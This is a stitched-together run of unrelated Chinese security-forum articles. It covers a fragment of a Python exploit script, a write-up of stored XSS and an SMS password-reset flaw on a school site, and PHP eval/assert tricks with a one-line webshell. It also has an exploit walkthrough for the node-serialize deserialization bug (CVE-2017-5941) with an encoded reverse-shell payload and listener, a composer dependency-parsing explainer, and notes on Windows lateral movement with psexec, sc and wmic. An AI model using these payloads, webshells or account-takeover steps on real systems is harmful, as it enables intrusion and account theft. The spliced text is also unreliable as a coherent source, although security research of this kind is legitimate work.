t = threading.Thread(target=download, args=(URL, session))
t.start()
time.sleep(1)
print "pwn"
#upload(URL, session, create_payload())
upload_chunked(URL, session, "asdf")
if __name__ == "__main__":
main()
1. 执行py文件
[
[ | 社区文章 |
今天在群里和沙雕网友唠嗑，正好聊到了网络安全上面。于是打算展示点与网络安全相关的东西给群友们看看。就拿群友的学校开刀试试。
所有漏洞已提交给edu-src。
## 信息收集
首先收集一下子域名，为了方便起见，直接使用[在线子域名查询](https://phpinfo.me/domain/)
逐个查看，找到了三个具有登录功能的地址。简单测试一下，不能用万能密码进入。这时候发现其中有一个登录地址存在注册功能。
## 漏洞挖掘
### 存储型XSS
注册一个账号，进去之后发现可以编辑个人信息
测一下有没有存储型xss
打入xss的payload，保存输入的信息，可以看到成功触发payload，申请项目的时候管理员会查看申请者的个人信息，这时候就可以利用存储型xss来窃取管理员的cookie了
### 逻辑漏洞
一个存储型XSS显然是不够在群里吹水的，在这个平台上面翻来覆去的看看有没有什么漏掉的功能。
这时候突然在burp看到一个数据包
在忘记密码这个功能这里，程序会发送验证码到注册用的手机号上面
于是想，把数据包里面的手机号码，改成其他手机号。会不会把验证码发到其他手机上
又去注册了一个测试用的账号，这下就有两个帐号了，两个账号分工一下：
* 目标账号（188xxxxx519）
* 攻击者账号（173xxxxx676）
理一下攻击思路：
1. 利用忘记密码的功能，尝试更改目标账号（188xxxxx519）的密码
2. 开启burp，点击发送验证码，拦截该数据包。
3. 将数据包中的目标账号（188xxxxx519）修改为攻击者账号（173xxxxx676）然后发送数据包
4. 原本应该发送给目标账号（188xxxxx519）的验证码信息有可能直接发送到攻击者账号（173xxxxx676）的手机上
5. 利用收到的验证码，就可以更改目标账号（188xxxxx519）的用户密码
说干就干
首先输入我们要攻击的目标账号
然后利用burp拦截发送验证码的数据包，将phone处的数据修改为攻击者账号之后发送数据包。
可以看到成功将验证码发送到攻击者手机上，这是个好兆头
等待一会儿，从攻击者手机上收到发送过来的验证码。到这里基本已经成功了
然后利用收到的验证码，去更改目标账户的验证码
利用更改过后的密码尝试登录
可以看到成功登录进去
## 后记
我个人用的一个简单的挖掘思路，从收集子域名，到找寻敏感功能点（诸如登录，教务处，项目管理平台，微信小程序），再到测试输入点看看会不会有常见的web漏洞。然后猜测程序背后的逻辑关系来挖掘逻辑漏洞。多想一想如果这个网站是自己写的，可能会在哪里出现逻辑问题。
另外，在edu-src上看到一位前辈的挖掘思路无比牛。他直接想办法寻找网站的源代码。开源的框架就直接官方找，不开源的框架就用fofa查询与目标站点采用相同框架的其他站点，然后看看这些站点里面有没有开发者忘记删掉的备份文件。拿到代码之后，直接审计源代码挖掘0day，然后写POC批量打。
这种打法是真的牛，奈何我代码功底薄弱，审计代码的能力太弱了。等以后功夫再深一点，也学习一下这位前辈的打法。 | 社区文章 |
# 浅谈eval和assert
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
eval和assert的特性经常把我搞懵，所以在这里记录一下。
### eval 函数
php官方手册：<https://link.jianshu.com/?t=http://php.net/manual/zh/function.eval.php>
(PHP 4, PHP 5, PHP 7)
eval — 把字符串作为PHP代码执行
该函数只有一个参数，即需要被执行的字符串代码。
* 代码不能包含打开/关闭PHP标签，但可以用合适的 PHP tag 来离开、重新进入 PHP 模式。
<?php
eval('<?php echo "Hi!"; ?>');
eval('echo "In PHP mode!"; ?>In HTML mode!<?php echo "Hi!";');
例如安恒杯9月月赛web2
<?php
include 'flag.php';
if(isset($_GET['code']))
{
$code=$_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code))
{
die("NO.");
}
@eval($code);
}
else
{
highlight_file(__FILE__);
}
//$hint="php function getFlag() to get flag";
?>
payload：
code=?><?=`/???/??? ????.???`?>
`?>`闭合php文件开头的`<?php`，`<?=`可以输出。就是用了这个特性。
另外这里`<? ?>`是短标签，`<?php
?>`是长标签。在php的配置文件php.ini中有一个`short_open_tag`的值，开启以后可以使用PHP的短标签：`<?
?>`同时，只有开启这个才可以使用 `<?=` 以代替 `<? echo`。不过在php7中这个标签被移除了。
* 并且传入的必须是有效的 PHP 代码，所有的语句必须以分号结尾。
* return 语句会立即中止当前字符串的执行。
* 代码执行的作用域是调用 eval() 处的作用域。因此，eval() 里任何的变量定义、修改，都会在函数结束后被保留。
* eval() 返回 NULL，除非在执行的代码中 return 了一个值，函数返回传递给 return 的值。
因为eval是一个语言构造器而不是一个函数，不能被 [可变函数](http://php.net/manual/zh/functions.variable-functions.php) 调用。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号，PHP
将寻找与变量的值同名的函数，并且尝试执行它。可变函数可以用来实现包括回调函数，函数表在内的一些用途。
可变函数不能用于例如
[echo](http://php.net/manual/zh/function.echo.php)，[print](http://php.net/manual/zh/function.print.php)，[unset()](http://php.net/manual/zh/function.unset.php)，[isset()](http://php.net/manual/zh/function.isset.php)，[empty()](http://php.net/manual/zh/function.empty.php)，[include](http://php.net/manual/zh/function.include.php)，[require](http://php.net/manual/zh/function.require.php)
以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。
因此一般我们的一句话木马一般都写成
<?php
eval($_POST['2']);
而不是
<?php
$_POST['1']($_POST['2']);
不过我们依然可以传入`1=assert&2=system('ls')`来执行命令，也就是我们要说的assert函数。
## assert(PHP5 And PHP7)
php官方手册：<http://php.net/manual/zh/function.assert.php>
(PHP 4, PHP 5, PHP 7)
assert — 检查一个断言是否为 FALSE
* 如果 assertion 是字符串，它将会被 assert() 当做 PHP 代码来执行。
**assert()** 的行为可以通过
[assert_options()](http://php.net/manual/zh/function.assert-options.php) 来配置。
**assert_options**
(PHP 4, PHP 5, PHP 7)
assert_options — 设置/获取断言的各种标志
* 在调用你定义的 [assert_options()](http://php.net/manual/zh/function.assert-options.php) 处理函数时，条件会转换为字符串，而布尔值 **`FALSE`** 会被转换成空字符串。
* [assert_options()](http://php.net/manual/zh/function.assert-options.php) **`ASSERT_CALLBACK`** 配置指令允许设置回调函数来处理失败的断言。
* 回调函数应该接受三个参数。 第一个参数包括了断言失败所在的文件。 第二个参数包含了断言失败所在的行号，第三个参数包含了失败的表达式
<?php
// 激活断言，并设置它为 quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);
//创建处理函数
function my_assert_handler($file, $line, $code, $desc = null)
{
echo "Assertion failed at $file:$line: $code";
if ($desc) {
echo ": $desc";
}
echo "n";
}
// 设置回调函数
assert_options(ASSERT_CALLBACK, 'my_assert_handler');
// Make an assertion that should fail
assert('2 < 1', false);
assert('2 < 1', 'Two is less than one');
?>
## assert(PHP7)
在PHP7中assert变成了一种语言结构而不是一个函数。
也就是说像eval一样不支持可变函数。
同样的
<?php
$_POST['1']($_POST['2']);
在php7中无法传入`1=assert&2=system('ls')`来执行命令
菜刀在实现文件管理器的时候用的恰好也是`assert`函数，这导致菜刀没办法在PHP7上正常运行。
另外php7中增加了断言的`Expectations`，`Expectations`增强了之前的`assert`方法，我们可以在开发或者生产环境中使用断言，其提供了可配置选项，我们可以针对不同的环境来使用不同的策略。
我们可以通过在php.ini中设置`zend.assertions = -1`来关闭代码执行。
不过默认是打开的也就是`zend.assertions = 1`。
具体底层分析可以参考柠檬师傅的文章：[从底层分析eval和assert的区别](https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html)
## Referer
[从底层分析eval和assert的区别](https://www.cnblogs.com/iamstudy/articles/analysis_eval_and_assert.html)
[PHP7新特性一览](http://oopsguy.com/2016/10/22/php7-new-features/) | 社区文章 |
# 【漏洞分析】利用Node.js反序列化的漏洞执行远程代码（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：exploit-db.com
原文地址：<https://www.exploit-db.com/docs/41289.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[阻圣](http://bobao.360.cn/member/contribute?uid=134615136)
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**漏洞介绍**
**漏洞名称：** Exploiting Node.js deserialization bug for Remote Code Execution
**漏洞CVE id：** CVE-2017-5941
**漏洞类型：** 代码执行
**漏洞简介：**
不可信的数据传入了unserialize()函数，这导致我们可以通过传递带有立即调用函数表达式（IIFE）的JavaScript对象来实现任意代码执行。
**漏洞详情**
在Node.js代码审查期间，我碰巧看到了一个序列化/反序列化模块命名为node-serialize。cookie的值来自请求然后被传递到模块提供的unserialize()函数。下面是一个示例的node.js应用程序：
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
app.get('/', function(req, res){
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile,'base64').toStrin();
var obj = serialize.unserialize(str);
if (obj.username){
res.send("Hello " + escape(obj.username));
}
}else{
res.cookie('profile',"eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5Ijo
iYmFuZ2Fsb3JlIn0=",{ maxAge: 900000, httpOnly: true});
}
res.send("Hello World");
});
app.listen(3000);
Java，PHP，Ruby和Python也有着大量的反序列化问题
[Understanding PHP Object
Injection](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
[Java Deserialization Cheat Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet)
[Rails Remote Code Execution Vulnerability
Explained](http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/)
[Arbitrary code execution with Python
pickles](https://www.cs.uic.edu/~s/musings/pickle/)
但是我找不到任何解释反序列化/对象的资源来解释Node.js中的注入BUG。
**Building the Payload**
我使用node-serialize version
0.0.4进行研究，为了成功利用当不可信数据传递到unserialize()函数时，执行任意代码。创建Payload的最好方法就是使用同一模块的serialize()函数。
我创建了以下JavaScript对象并将其传递给serialize()函数。
var y = {
rce : function(){
require('child_process').exec('ls /', function(error,
stdout, stderr) { console.log(stdout) });
},
}
var serialize = require('node-serialize');
console.log("Serialized: n" + serialize.serialize(y));
输出如下：
现在我们有一个序列化的字符串，可以通过unserialize()函数进行反序列化，但问题是代码执行不会发生，直到你触发对应于对象的rce属性的函数。后来我想出，我们可以使用JavaScript的立即调用函数表达式（IIFE）来调用该函数。如果我们在函数体之后使用括号()，当对象被创建时，函数将被调用。
它的工作方式类似于C ++中的类构造函数。
代码：
var y = {
rce : function(){
require('child_process').exec('ls /', function(error,
stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: n" + serialize.serialize(y));
获得以下输出
IIFE工作正常，但序列化失败。所以我试图在以前序列化的字符串的函数体后添加括号()。并将其传递给unserialize()函数，幸运的它成功了。所以我们有Exploit
Payload：
{"rce":"_$$ND_FUNC$$_function (){n t
require('child_process').exec('ls /', function(error, stdout, stderr) {
console.log(stdout) });n }()"}
将它传递给unserialize()函数将导致代码执行。
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function
(){require('child_process').exec('ls /',
function(error, stdout, stderr) { console.log(stdout)
});}()"}';
serialize.unserialize(payload);
演示：
现在我们知道我们可以利用node-serialize模块中的unserialize()函数。现在让我们来利用漏洞生成一个反向shell。
**Further Exploitation**
Web应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie，对cookie值执行base64解码，并将其传递给unserialize()函数。由于cookie是不受信任的输入，攻击者可以制作恶意Cookie值以利用此漏洞。
我使用nodejsshell.py生成反向shell有效负载。
$ python nodejsshell.py 127.0.0.1 1337
[+] LHOST = 127.0.0.1
[+] LPORT = 1337
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,10
5,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,3
2,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,11
5,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,
49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,4
8,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103
,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,6
1,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,11
0,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,3
2,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,1
14,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,3
2,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,8
4,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32
,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,3
2,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,
83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,3
2,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,1
04,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114
,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,
32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,11
6,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,11
6,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,1
15,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,
41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,1
02,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,12
3,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68
,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,3
2,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,
46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,
101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,
40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,3
2,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))
现在让我们生成序列化的有效内容，并在函数体后添加括号()。
{"rce":"_$$ND_FUNC$$_function (){
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101
,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,1
12,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,1
08,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,1
0,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,3
4,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,1
05,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112
,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,
61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,
116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,
110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105
,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,1
10,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,
125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82
,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,6
1,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,3
2,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,7
9,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,3
2,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,11
2,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,
32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,
67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32
,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,
116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,10
0,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,3
2,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,1
12,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,
104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111
,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32
,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,
115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,3
2,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,
105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117
,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,11
5,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,
84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,
10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}
我们需要执行相同的Base64编码，然后使用Cookie头中的编码Payload向Web服务器发出请求。
现在我们可以使用nc监听一下本地的一个端口：
nc -l 127.0.0.1 1337
演示：
成功利用，反弹一个shell。
**演示视频**
**总结**
我们利用了一个反序列化的bug实现了任意代码执行，经验告诉我们，永远不要相信用户的输入。这个漏洞产生的根本原因在于内部使用了eval()反序列化，我在另一个名为serialize-to-js的模块中也发现了一个类似的错误。在该模块中，Node.js中的require()函数在没有IIFE的对象的反序列化期间没有范围，并且它们在内部使用新的函数用于反序列化。我们仍然可以使用稍微复杂的有效载荷来实现代码执行。 | 社区文章 |
OpenSCA知识小课堂开课了！
今天主要介绍基于composer包管理器的组件成分解析原理。
# composer介绍
composer是PHP的依赖管理工具。
开发者受到Node.js的npm及Ruby的bundler启发，composer设计上与两者有诸多相似。
composer的依赖管理文件是composer.json。开发者可以在composer.json中指定每个依赖项的版本范围或使用composer
require/update/remove ${name}命令管理依赖项。
如果一个项目中存在composer.json文件，便可以执行composer
install命令自动安装当前项目所需的依赖项并生成composer.lock文件
composer.json完整文件结构如下：
{
"name": "cakephp/app",
"type": "project",
"license": "MIT",
"require": {
"php": ">=7.2",
"cakephp/cakephp": "^4.3",
"cakephp/migrations": "^3.2",
"cakephp/plugin-installer": "^1.3",
"mobiledetect/mobiledetectlib": "^2.8"
},
"require-dev": {
"cakephp/bake": "^2.6",
"cakephp/cakephp-codesniffer": "^4.5",
"cakephp/debug_kit": "^4.5",
"josegonzalez/dotenv": "^3.2",
"phpunit/phpunit": "~8.5.0 || ^9.3"
},
}
其中name为项目名称；type为包的类型，有library、project、metapackage和composer-plugin四种类型，默认情况下为library；license为项目声明的许可证，可以是一个字符串或是一个字符串数组。
require-dev为开发环境或测试使用的依赖，require为生产环境使用的依赖，依赖写法为"name":"version"，版本可以指定准确版本或一个范围。
# 解析算法
### composer.lock
composer.lock文件为自动生成的文件，可以准确定位到PHP项目使用的依赖及版本，所以优先解析composer.lock文件。
composer.lock文件结构如下：
{
"packages": [
{
"name": "a",
"version": "1.1.0",
"require": {
"c": "1.1.*"
}
},
{
"name": "b",
"version": "1.2.2",
"require": {
"c": "^1.0.2"
}
},
{
"name": "c",
"version": "1.1.2"
}
],
"packages-dev": []
}
其中packages和packages-dev字段包含项目使用的所有直接和间接依赖，而且记录了组件间的依赖关系，packages为生产环境的依赖，packages-dev为开发环境的依赖。
示例：
{
"name": "a",
"version": "1.1.0",
"require": {
"c": "1.1.*"
}
}
代表项目依赖1.1.0版本的组件a，且该组件依赖版本约束为1.1.*的组件c。
同理可知项目依赖1.2.2版本的组件b，且该组件依赖版本约束为^1.0.2的组件c。
且组件a和组件b都没有被其他依赖所依赖，所以可知这两个组件是项目的直接依赖。
注：
* 1.1.*代表版本号需要>=1.1.0且<1.2.0
* ^1.0.2代表版本号需要>=1.0.2且<2.0.0
由此可以构建出当前项目的依赖结构：
实线代表直接依赖，虚线代表间接依赖
图：composer.lock检测结果示例
### composer.json
composer.json为开发者管理的依赖管理文件，在未找到composer.lock文件时将解析该文件。
composer.json仅包含直接依赖，在项目构建时会从composer仓库下载需要的间接依赖并构建为composer.lock文件，因此可以模拟composer构建流程来获取项目引用的组件依赖。
composer.json文件结构如下：
{
"name": "foo",
"type": "project",
"license": "MIT",
"require": {
"a": "^1.1.0",
"b": "^1.2.0",
},
"require-dev": {},
}
require为项目实际使用的直接依赖，require-dev为项目开发时使用的直接依赖。
例如：
**"a":** "^1.1.0"代表项目依赖版本约束为^1.1.0的组件a。
**"b":** "^1.2.0"代表项目依赖版本约束为^1.2.0的组件b。
分析到这里我们可以总结出如下图依赖关系：
实线代表直接依赖
通过该依赖关系可以看出项目组件的直接依赖及组件的版本范围，但无法得知组件依赖的具体版本。
在没有composer.lock文件的情况下，为了进一步获取依赖的准确版本及间接依赖，需要从composer仓库下载对应组件的详细信息。
例如组件a的详细信息结构为：
{
"packages": {
"a": [
{
"version": "1.0.1",
"require": {
"c": "^1.0.0"
}
},
{
"version": "1.1.0",
"require": {
"c": "^1.1.0"
}
}
]
}
}
其中packages字段为组件及各个版本信息的映射，require字段为组件的依赖信息。
对于本例来说，组件a的约束为^1.1.0，要求版本号>=1.1.0且<2.0.0，所以选择1.1.0版本。
因此组件依赖结构就变成了：
按照这种方式层级解析便可获取整个项目的依赖信息。
图：composer.json检测结果示例
* * *
感谢每一位开源社区成员对OpenSCA的支持和贡献。
OpenSCA的代码会在GitHub和Gitee持续迭代，欢迎Star和PR，成为我们的开源贡献者，也可提交问题或建议至Issues。我们会参考大家的建议不断完善OpenSCA开源项目，敬请期待更多功能的支持。
GitHub：
<https://github.com/XmirrorSecurity/OpenSCA-cli/releases>
Gitee：
<https://gitee.com/XmirrorSecurity/OpenSCA-cli/releases>
OpenSCA官网：
<https://opensca.xmirror.cn/> | 社区文章 |
原文地址：<https://hausec.com/2019/08/12/offensive-lateral-movement/>
所谓横向渗透，实际上就是通过一台已被攻陷的主机渗透其他主机的过程。为了完成这项任务，渗透测试人员和红队队员的通常做法是，利用powershell.exe在远程主机上运行base64编码的命令，以返回相应的beacon。这种方法的问题在于，攻击性的PowerShell早就被人们司空见惯了，因此，这些代码很容易被检测到并被阻止。横向渗透的难点在于，要求实施过程安全可靠（OpSec），这意味着产生的日志要尽可能少，或者生成的日志看起来是正常的，即隐藏在显眼的地方以避免被发现。本文的目的不仅是展示某些横向渗透技术，而且说明其幕后发生了什么，以及与之相关的检测指标。在这篇文章中，我们将用到许多Cobalt
Strike语法，因为本文中主要利用它来实现C2，但是Cobalt Strike内置的横向渗透技术的动静 _过_
大，因而[无法支持OpSec](https://blog.cobaltstrike.com/2017/06/23/opsec-considerations-for-beacon-commands/)特性。此外，并非所有人都拥有Cobalt
Strike，所以，Meterpreter也会出现在大多数的例子中，因为技术是通用的。
在本文中，我们将为读者详细介绍多种横向渗透技巧。对于这些技术，我们首先会进行概要的介绍，然后介绍其工作原理。为了便于读者理解下文，让我们先来厘清几个术语。
* [**命名管道**](https://docs.microsoft.com/en-us/windows/win32/ipc/named-pipes) **：** 进程之间通过SMB（TCP 445端口）进行通信的一种方式（ TCP 445）。命名管道运行于OSI模型的第5层，它也可以通过类似端口侦听连接的方式来侦听请求。
* [**访问令牌**](https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/) **：** 根据微软相关[文档](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens)的描述： _访问令牌_ 是描述 _进程_ 或线程的 _安全上下文_ 的对象。令牌中的信息包括与进程或线程关联的用户帐户的标识和权限。用户登录时，系统通过将用户密码与存储在安全数据库中的信息进行比较来验证用户密码的正确性。当用户的凭证 _顺利通过验证_ 后，系统就会为该用户生成一个访问令牌。所有以该用户的身份执行的进程都具有该访问令牌的副本。
换句话说，访问令牌提供了用户的身份信息，可以用来判断该用户是否有权访问系统上的特定内容。如果您对Windows身份验证机制并不是非常了解的话，可以简单的把访问令牌看作是用户登录Windows时创建的一个登录会话。
* **网络登录（Type 3）：** 当帐户在远程系统/服务上进行身份验证时，就会使用网络登录。在进行网络身份验证期间，可重用凭证不会发送到远程系统。因此，当用户通过网络登录方式登录到远程系统时，用户的凭证将不会出现在远程系统上以执行进一步的身份验证。这会带来所谓的 **双跃点** 问题，也就是说，即使我们通过one-liner以网络登录方式连接上了目标系统，也可以通过SMB抵达该系统，但由于没有SMB登录凭证，因此，登录就会失败。下面，让我们通过具体的例子对此加以说明。
## PsExec
PsExec是微软的[Sysinternals套件](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec)提供的一款工具，允许用户通过端口445(SMB)使用命名管道在远程主机上执行PowerShell。首先，它会通过SMB连接到目标系统上的ADMIN$共享，上传PSEXESVC.exe，并使用服务控制管理器启动这个.exe程序，后者会在远程系统上创建一个命名管道，并最终将该管道用于I/O。
下面，我们举例说明PsExec的语法：
**psexec \test.domain -u Domain\User -p Password ipconfig**
如果使用Cobalt
Strike（CS）来完成这项任务的话，过程会略有不同。它首先创建一个Powershell脚本，该脚本将对从内存运行的嵌入式payload进行base64编码，并将其压缩成一个one-liner，然后连接到ADMIN$或C$共享并运行Powershell命令，具体如下所示：
[演示视频](https://videos.files.wordpress.com/ujRak6pv/cspsexecpsh_dvd.mp4)
问题在于，这个脚本创建了一个服务并运行了base64编码命令，这些举动是很不正常的，将引发各种警报并生成相应的日志。此外，这里的命令是通过命名管道进行发送的，而命名管道在CS中都具有默认的名称（不过，这些默认的名称是允许进行修改的）。关于如何检测这些活动，请参阅Red
Canary撰写的相关[文章](https://redcanary.com/blog/threat-hunting-psexec-lateral-movement/)。
Cobalt
Strike提供了两个PsExec内置函数，一个名为PsExec，另一个名为PsExec(psh)。两者之间的区别在于，PsExec(psh)会调用Powershell.exe，因此，我们的beacon将作为Powershell.exe进程运行；而不带（psh）的PsExec将作为rundll32.exe运行。
通过Cobalt Strike查看进程ID
默认情况下，PsExec将生成rundll32.exe进程以在其中运行。并且，它不会将DLL存放到磁盘中，所以从蓝队的角度来看，如果rundll32.exe不带参数运行的话，那就非常可疑了。
## SC
服务控制器的用途就不用多讲了吧——控制服务。它对于攻击者来说是特别有用的，因为调度任务可以通过SMB完成，所以启动远程服务的语法为：
sc \ **host.domain** create **ExampleService** binpath=
"c:\windows\system32**calc.exe **"
sc \**host.domain** start ExampleService
唯一需要注意的是，这里的可执行文件 _必须_
是特定服务对应的二进制文件。服务的二进制文件与普通的二进制文件有所不同——它们必须“签入”到服务控制管理器(SCM)中，如果没有签入的话，则退出执行。因此，如果这里使用服务之外的二进制文件的话，那么返回的代理/beacon马上就会挂掉。
使用CS时，我们可以专门为服务创建相应的可执行文件：
通过CoBalt Strike为服务生成的可执行文件
上面的攻击过程，也可以借助Metasploit完成，具体如下所示：
[演示视频](https://videos.files.wordpress.com/GijE14sT/sc_dvd.mp4)
## WMI
Windows Management
Instrumentation（WMI）是Windows系统内置的一项服务，用户可以通过该服务远程访问各种Windows组件。由于可以通过端口135使用远程过程调用（RPC）进行远程访问（并借助于稍后介绍的临时端口），这样一来，管理员就能够远程执行自动管理任务了，例如，远程启动服务或远程执行命令等。当然，我们也可以直接通过wmic.exe进行交互。下面给出一个WMI查询示例：
wmic /node:target.domain /user:domain\user /password:password process call create "C:\Windows\System32\calc.exe"
[演示视频](https://videos.files.wordpress.com/PhvKIuSF/wmi_dvd.mp4)
Cobalt Strike在目标系统上利用WMI服务执行Powershell
payload时，PowerShell.exe程序会在启动内置的WMI服务时打开，这就会导致OpSec问题，因为执行的是经过base64编码的payload。
我们可以看到，借助于WMI服务的情况下，仍然会创建一个命名管道——尽管wmic.exe能够通过PowerShell在目标系统上运行命令，那么，为什么要首先创建一个命名管道呢？命名管道虽然并非执行payload所必需的，但是使用CS创建payload时，必须使用命名管道进行通信（通过SMB）。
对于WMI服务，这里只是介绍了一些皮毛。对于这方面感兴趣的读者，建议参阅我的同事[@mattifestation](http://twitter.com/mattifestation)在Blackhat
2015大会上的精彩[演讲](https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf)。
## WinRM
Windows远程管理服务通常用于管理服务器硬件，其通信方式为WMI over
HTTP(S)。跟传统的Web流量不同，它并没有使用80/443端口，而是使用5985(HTTP)和5986(HTTPS)端口。通常情况下，WinRM虽然是Windows系统默认安装的组件，但用户必须手动开启；不过，服务器操作系统则是一个例外，因为从2012R2版本开始，该服务就是默认开启的。即使启动了WinRM服务，也必须在客户端上使用侦听器（听起来是不是很耳熟？），否则就无法处理相应的请求。这些工作，我们既可以在Powershell中执行命令完成，也可以通过WMI和Powershell远程完成：
Enable-PSRemoting -Force
如果不使用CS的话，可以执行下列命令（大家可以利用自己的二进制文件替换掉calc.exe）：
